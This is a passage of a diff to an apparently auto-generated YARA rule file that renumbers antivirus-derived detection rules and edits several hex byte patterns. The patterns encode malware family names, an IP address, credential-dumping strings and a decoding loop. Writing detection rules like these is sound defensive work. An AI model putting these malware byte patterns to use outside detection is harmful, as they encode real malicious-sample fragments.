1)*18467) >=2 } -rule _InfrastructureShared_26922{ +rule _InfrastructureShared_28645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -351980,7 +374491,7 @@ rule _InfrastructureShared_26922{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21076+(#a_01_2 & 1)*28527) >=3 } -rule _InfrastructureShared_26923{ +rule _InfrastructureShared_28646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -351992,7 +374503,7 @@ rule _InfrastructureShared_26923{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21076+(#a_01_2 & 1)*19541) >=3 } -rule _InfrastructureShared_26924{ +rule _InfrastructureShared_28647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352004,7 +374515,7 @@ rule _InfrastructureShared_26924{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14924+(#a_01_2 & 1)*28261) >=3 } -rule _InfrastructureShared_26925{ +rule _InfrastructureShared_28648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352014,7 +374525,7 @@ rule _InfrastructureShared_26925{ ((#a_01_0 & 1)*21539) >=3 } -rule _InfrastructureShared_26926{ +rule _InfrastructureShared_28649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 02 00 21 " @@ -352025,7 +374536,7 @@ rule _InfrastructureShared_26926{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14918) >=10 } -rule _InfrastructureShared_26927{ +rule _InfrastructureShared_28650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352035,7 +374546,7 @@ rule _InfrastructureShared_26927{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26928{ +rule _InfrastructureShared_28651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352045,7 +374556,7 @@ rule _InfrastructureShared_26928{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26929{ +rule _InfrastructureShared_28652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352055,7 +374566,7 @@ rule _InfrastructureShared_26929{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26930{ +rule _InfrastructureShared_28653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352065,7 +374576,7 @@ rule _InfrastructureShared_26930{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26931{ +rule _InfrastructureShared_28654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352075,7 +374586,7 @@ rule _InfrastructureShared_26931{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26932{ +rule _InfrastructureShared_28655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -352085,7 +374596,7 @@ rule _InfrastructureShared_26932{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_26933{ +rule _InfrastructureShared_28656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352096,7 +374607,7 @@ rule _InfrastructureShared_26933{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*12082) >=2 } -rule _InfrastructureShared_26934{ +rule _InfrastructureShared_28657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352107,7 +374618,7 @@ rule _InfrastructureShared_26934{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21587) >=2 } -rule _InfrastructureShared_26935{ +rule _InfrastructureShared_28658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352119,7 +374630,7 @@ rule _InfrastructureShared_26935{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24431+(#a_01_2 & 1)*26996) >=3 } -rule _InfrastructureShared_26936{ +rule _InfrastructureShared_28659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352131,7 +374642,7 @@ rule _InfrastructureShared_26936{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*10240+(#a_01_2 & 1)*24912) >=3 } -rule _InfrastructureShared_26937{ +rule _InfrastructureShared_28660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352141,7 +374652,7 @@ rule _InfrastructureShared_26937{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26938{ +rule _InfrastructureShared_28661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352151,7 +374662,7 @@ rule _InfrastructureShared_26938{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26939{ +rule _InfrastructureShared_28662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352161,7 +374672,7 @@ rule _InfrastructureShared_26939{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26940{ +rule _InfrastructureShared_28663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -352172,7 +374683,7 @@ rule _InfrastructureShared_26940{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*0) >=1 } -rule _InfrastructureShared_26941{ +rule _InfrastructureShared_28664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352182,7 +374693,7 @@ rule _InfrastructureShared_26941{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_26942{ +rule _InfrastructureShared_28665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352192,7 +374703,7 @@ rule _InfrastructureShared_26942{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_26943{ +rule _InfrastructureShared_28666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352203,7 +374714,7 @@ rule _InfrastructureShared_26943{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*0) >=2 } -rule _InfrastructureShared_26944{ +rule _InfrastructureShared_28667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -352214,7 +374725,7 @@ rule _InfrastructureShared_26944{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*3) >=2 } -rule _InfrastructureShared_26945{ +rule _InfrastructureShared_28668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352225,7 +374736,7 @@ rule _InfrastructureShared_26945{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*3) >=3 } -rule _InfrastructureShared_26946{ +rule _InfrastructureShared_28669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352237,7 +374748,7 @@ rule _InfrastructureShared_26946{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28233+(#a_01_2 & 1)*23651) >=3 } -rule _InfrastructureShared_26947{ +rule _InfrastructureShared_28670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352249,7 +374760,7 @@ rule _InfrastructureShared_26947{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*0+(#a_01_2 & 1)*20038) >=3 } -rule _InfrastructureShared_26948{ +rule _InfrastructureShared_28671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -352259,7 +374770,7 @@ rule _InfrastructureShared_26948{ ((#a_01_0 & 1)*16675) >=10 } -rule _InfrastructureShared_26949{ +rule _InfrastructureShared_28672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 03 00 21 " @@ -352271,7 +374782,7 @@ rule _InfrastructureShared_26949{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*24832+(#a_01_2 & 1)*0) >=10 } -rule _InfrastructureShared_26950{ +rule _InfrastructureShared_28673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -352282,7 +374793,7 @@ rule _InfrastructureShared_26950{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*0) >=20 } -rule _InfrastructureShared_26951{ +rule _InfrastructureShared_28674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352292,7 +374803,7 @@ rule _InfrastructureShared_26951{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26952{ +rule _InfrastructureShared_28675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352302,7 +374813,7 @@ rule _InfrastructureShared_26952{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26953{ +rule _InfrastructureShared_28676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352312,7 +374823,7 @@ rule _InfrastructureShared_26953{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26954{ +rule _InfrastructureShared_28677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352322,7 +374833,7 @@ rule _InfrastructureShared_26954{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26955{ +rule _InfrastructureShared_28678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352332,7 +374843,7 @@ rule _InfrastructureShared_26955{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26956{ +rule _InfrastructureShared_28679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -352343,7 +374854,7 @@ rule _InfrastructureShared_26956{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21539) >=1 } -rule _InfrastructureShared_26957{ +rule _InfrastructureShared_28680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -352353,7 +374864,7 @@ rule _InfrastructureShared_26957{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26958{ +rule _InfrastructureShared_28681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352364,7 +374875,7 @@ rule _InfrastructureShared_26958{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*2) >=2 } -rule _InfrastructureShared_26959{ +rule _InfrastructureShared_28682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352374,7 +374885,7 @@ rule _InfrastructureShared_26959{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26960{ +rule _InfrastructureShared_28683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352385,7 +374896,7 @@ rule _InfrastructureShared_26960{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*17475) >=2 } -rule _InfrastructureShared_26961{ +rule _InfrastructureShared_28684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -352396,7 +374907,7 @@ rule _InfrastructureShared_26961{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21539) >=2 } -rule _InfrastructureShared_26962{ +rule _InfrastructureShared_28685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352406,7 +374917,7 @@ rule _InfrastructureShared_26962{ ((#a_01_0 & 1)*21539) >=3 } -rule _InfrastructureShared_26963{ +rule _InfrastructureShared_28686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -352419,7 +374930,7 @@ rule _InfrastructureShared_26963{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*16675+(#a_01_2 & 1)*30+(#a_01_3 & 1)*11884) >=3 } -rule _InfrastructureShared_26964{ +rule _InfrastructureShared_28687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 03 00 21 " @@ -352431,7 +374942,7 @@ rule _InfrastructureShared_26964{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30+(#a_01_2 & 1)*11884) >=7 } -rule _InfrastructureShared_26965{ +rule _InfrastructureShared_28688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -352443,7 +374954,7 @@ rule _InfrastructureShared_26965{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*0+(#a_01_2 & 1)*16675) >=30 } -rule _InfrastructureShared_26966{ +rule _InfrastructureShared_28689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352453,7 +374964,7 @@ rule _InfrastructureShared_26966{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26967{ +rule _InfrastructureShared_28690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352463,7 +374974,7 @@ rule _InfrastructureShared_26967{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26968{ +rule _InfrastructureShared_28691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352473,7 +374984,7 @@ rule _InfrastructureShared_26968{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26969{ +rule _InfrastructureShared_28692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352483,7 +374994,7 @@ rule _InfrastructureShared_26969{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26970{ +rule _InfrastructureShared_28693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352493,7 +375004,7 @@ rule _InfrastructureShared_26970{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26971{ +rule _InfrastructureShared_28694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352503,7 +375014,7 @@ rule _InfrastructureShared_26971{ ((#a_01_0 & 1)*19491) >=1 } -rule _InfrastructureShared_26972{ +rule _InfrastructureShared_28695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352513,7 +375024,7 @@ rule _InfrastructureShared_26972{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26973{ +rule _InfrastructureShared_28696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -352524,7 +375035,7 @@ rule _InfrastructureShared_26973{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*1) >=1 } -rule _InfrastructureShared_26974{ +rule _InfrastructureShared_28697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -352537,7 +375048,7 @@ rule _InfrastructureShared_26974{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8993+(#a_01_2 & 1)*0+(#a_01_3 & 1)*21539) >=1 } -rule _InfrastructureShared_26975{ +rule _InfrastructureShared_28698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352548,7 +375059,7 @@ rule _InfrastructureShared_26975{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8993) >=2 } -rule _InfrastructureShared_26976{ +rule _InfrastructureShared_28699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352559,7 +375070,7 @@ rule _InfrastructureShared_26976{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8993) >=2 } -rule _InfrastructureShared_26977{ +rule _InfrastructureShared_28700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352569,7 +375080,7 @@ rule _InfrastructureShared_26977{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26978{ +rule _InfrastructureShared_28701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352579,7 +375090,7 @@ rule _InfrastructureShared_26978{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26979{ +rule _InfrastructureShared_28702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -352590,7 +375101,7 @@ rule _InfrastructureShared_26979{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*3) >=2 } -rule _InfrastructureShared_26980{ +rule _InfrastructureShared_28703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352601,7 +375112,7 @@ rule _InfrastructureShared_26980{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*3) >=3 } -rule _InfrastructureShared_26981{ +rule _InfrastructureShared_28704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352612,7 +375123,7 @@ rule _InfrastructureShared_26981{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*19992) >=3 } -rule _InfrastructureShared_26982{ +rule _InfrastructureShared_28705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 03 00 21 " @@ -352622,7 +375133,7 @@ rule _InfrastructureShared_26982{ ((#a_01_0 & 1)*20259) >=20 } -rule _InfrastructureShared_26983{ +rule _InfrastructureShared_28706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352632,7 +375143,7 @@ rule _InfrastructureShared_26983{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26984{ +rule _InfrastructureShared_28707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -352642,7 +375153,7 @@ rule _InfrastructureShared_26984{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_26985{ +rule _InfrastructureShared_28708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352652,7 +375163,7 @@ rule _InfrastructureShared_26985{ ((#a_01_0 & 1)*21283) >=3 } -rule _InfrastructureShared_26986{ +rule _InfrastructureShared_28709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352662,7 +375173,7 @@ rule _InfrastructureShared_26986{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26987{ +rule _InfrastructureShared_28710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352672,7 +375183,7 @@ rule _InfrastructureShared_26987{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26988{ +rule _InfrastructureShared_28711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352682,7 +375193,7 @@ rule _InfrastructureShared_26988{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26989{ +rule _InfrastructureShared_28712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352692,7 +375203,7 @@ rule _InfrastructureShared_26989{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26990{ +rule _InfrastructureShared_28713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -352703,7 +375214,7 @@ rule _InfrastructureShared_26990{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*3) >=1 } -rule _InfrastructureShared_26991{ +rule _InfrastructureShared_28714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352715,44 +375226,54 @@ rule _InfrastructureShared_26991{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*19529+(#a_01_2 & 1)*110) >=3 } -rule _InfrastructureShared_26992{ +rule _InfrastructureShared_28715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 7a 79 2e 4d 58 21 4d 54 42 00 01 00 0b 4a 43 6c 69 65 6e 74 2e 65 78 65 01 00 0b 55 70 64 61 74 65 72 2e 65 78 65 01 00 10 79 00 75 00 6e 00 6d 00 61 00 2e 00 } //21539 $a_01_1 = {00 00 00 61 55 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 44 69 61 6c 65 72 3a 57 69 6e 33 32 2f 41 64 69 61 6c 65 72 2e 46 00 01 00 05 67 69 72 6c 73 01 00 06 61 6e 65 74 2f 2f 01 00 0b 59 75 6d 6d 79 20 53 75 73 69 65 01 00 0d 32 31 37 2e 31 34 35 2e 37 36 2e 31 33 00 00 61 55 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 45 52 } //99 - $a_01_2 = {54 52 3a 50 44 50 30 31 2e 41 21 64 68 61 00 01 00 0e 2a 4e 4f 20 50 41 53 53 57 4f 52 44 2a 2a 01 00 0c 64 75 6d 70 20 73 65 72 76 69 63 65 01 00 07 48 41 4c 43 4f 41 49 01 00 06 41 44 4d 49 4e 24 00 00 61 55 00 00 0a 00 0a 00 01 00 21 23 42 4d 5f } //18490 + $a_01_2 = {54 52 3a 50 44 50 30 31 2e 41 21 64 68 61 00 01 00 0e 2a 4e 4f 20 50 41 53 53 57 4f 52 44 2a 2a 01 00 0c 64 75 6d 70 20 73 65 72 76 69 63 65 01 00 07 48 41 4c 43 4f 41 49 01 00 06 41 44 4d 49 4e 24 00 00 61 55 00 00 06 00 06 00 03 00 21 23 54 45 4c } //18490 condition: ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*99+(#a_01_2 & 1)*18490) >=3 } -rule _InfrastructureShared_26993{ +rule _InfrastructureShared_28716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " strings : $a_01_0 = {54 52 3a 44 69 61 6c 65 72 3a 57 69 6e 33 32 2f 41 64 69 61 6c 65 72 2e 46 00 01 00 05 67 69 72 6c 73 01 00 06 61 6e 65 74 2f 2f 01 00 0b 59 75 6d 6d 79 20 53 75 73 69 65 01 00 0d 32 31 37 2e 31 34 35 2e 37 36 2e 31 33 00 00 61 55 00 00 04 00 04 00 } //18467 $a_01_1 = {23 54 45 4c 50 45 52 3a 48 53 54 52 3a 50 44 50 30 31 2e 41 21 64 68 61 00 01 00 0e 2a 4e 4f 20 50 } //4 - $a_01_2 = {57 4f 52 44 2a 2a 01 00 0c 64 75 6d 70 20 73 65 72 76 69 63 65 01 00 07 48 41 4c 43 4f 41 49 01 00 06 41 44 4d 49 4e 24 00 00 61 55 00 00 0a 00 0a 00 01 00 21 23 42 4d 5f 4c 61 75 6e 63 68 48 69 64 64 65 6e 43 6f 6e 74 72 6f 6c 50 61 6e 65 6c 2e 41 } //21313 + $a_01_2 = {57 4f 52 44 2a 2a 01 00 0c 64 75 6d 70 20 73 65 72 76 69 63 65 01 00 07 48 41 4c 43 4f 41 49 01 00 06 41 44 4d 49 4e 24 00 00 61 55 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 72 62 65 72 43 72 79 70 74 2e } //21313 + $a_01_3 = {21 4d 54 42 00 05 00 0a 8a 06 32 c2 88 07 42 46 90 47 05 00 0b 8a 06 90 32 c2 88 07 90 42 46 47 01 00 08 6a 40 68 00 10 00 00 68 00 00 61 55 00 00 0a 00 0a 00 01 00 21 23 42 4d 5f 4c 61 75 6e 63 68 48 69 64 64 65 6e 43 6f 6e 74 72 6f 6c 50 61 6e 65 6c 2e 41 00 0a } //19794 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*4+(#a_01_2 & 1)*21313) >=4 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*4+(#a_01_2 & 1)*21313+(#a_01_3 & 1)*19794) >=4 } -rule _InfrastructureShared_26994{ +rule _InfrastructureShared_28717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " strings : $a_01_0 = {4c 50 45 52 3a 48 53 54 52 3a 50 44 50 30 31 2e 41 21 64 68 61 00 01 00 0e 2a 4e 4f 20 50 41 53 53 57 4f 52 44 2a 2a 01 00 0c 64 75 6d 70 20 73 65 72 76 69 63 65 01 00 07 48 41 4c 43 4f 41 49 01 00 06 41 44 } //21539 - $a_01_1 = {24 00 00 61 55 00 00 0a 00 0a 00 01 00 21 23 42 4d 5f 4c 61 75 6e 63 68 48 69 64 64 65 6e 43 6f 6e 74 72 6f 6c 50 61 6e 65 6c 2e 41 00 0a 00 2a 7b 32 31 45 43 32 30 32 30 2d 33 41 45 41 2d 31 30 36 39 2d 41 32 44 44 2d 30 38 30 30 32 } //18765 - $a_01_2 = {33 30 39 44 7d 22 2c 20 30 00 00 61 55 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 54 75 72 6c 61 42 69 6e 61 72 79 53 74 72 69 } //13122 - $a_01_3 = {2e 58 00 0a 00 0e 7a 61 67 72 75 7a 63 68 69 6b 2e 64 6c 6c 01 00 0b 4d 6f 64 75 6c 65 53 74 61 72 74 01 00 0a 4d 6f 64 75 6c 65 53 74 6f 70 00 00 61 56 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 6c 69 62 00 01 00 2f 50 6f 72 74 69 6f 6e 73 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 31 39 } //26478 + $a_01_1 = {24 00 00 61 55 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 72 62 65 72 43 72 79 70 74 2e 52 4d 58 21 4d 54 42 00 05 00 0a 8a 06 32 c2 88 07 42 46 90 47 05 00 0b 8a 06 90 32 c2 88 07 90 42 46 } //18765 + $a_01_3 = {68 00 10 00 00 68 00 00 61 55 00 00 0a 00 0a 00 01 00 21 23 42 4d 5f 4c 61 75 6e 63 68 48 69 64 64 65 6e 43 6f 6e 74 72 6f 6c 50 61 6e 65 6c 2e 41 00 0a 00 2a 7b 32 31 45 43 32 30 32 30 2d 33 } //27144 condition: - ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*18765+(#a_01_2 & 1)*13122+(#a_01_3 & 1)*26478) >=4 + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*18765+(#a_01_3 & 1)*27144) >=4 } -rule _InfrastructureShared_26995{ +rule _InfrastructureShared_28718{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 72 62 65 72 43 72 79 70 74 2e 52 4d 58 21 4d 54 42 00 05 00 0a 8a 06 32 c2 88 07 42 46 90 47 05 00 0b 8a 06 90 32 c2 88 07 90 42 46 47 01 00 08 6a 40 68 00 } //21539 + condition: + ((#a_01_0 & 1)*21539) >=6 + +} +rule _InfrastructureShared_28719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -352762,7 +375283,7 @@ rule _InfrastructureShared_26995{ ((#a_01_0 & 1)*16931) >=10 } -rule _InfrastructureShared_26996{ +rule _InfrastructureShared_28720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 03 00 21 " @@ -352772,7 +375293,7 @@ rule _InfrastructureShared_26996{ ((#a_01_0 & 1)*21283) >=11 } -rule _InfrastructureShared_26997{ +rule _InfrastructureShared_28721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352782,7 +375303,7 @@ rule _InfrastructureShared_26997{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26998{ +rule _InfrastructureShared_28722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352792,7 +375313,7 @@ rule _InfrastructureShared_26998{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26999{ +rule _InfrastructureShared_28723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352802,7 +375323,7 @@ rule _InfrastructureShared_26999{ ((#a_01_0 & 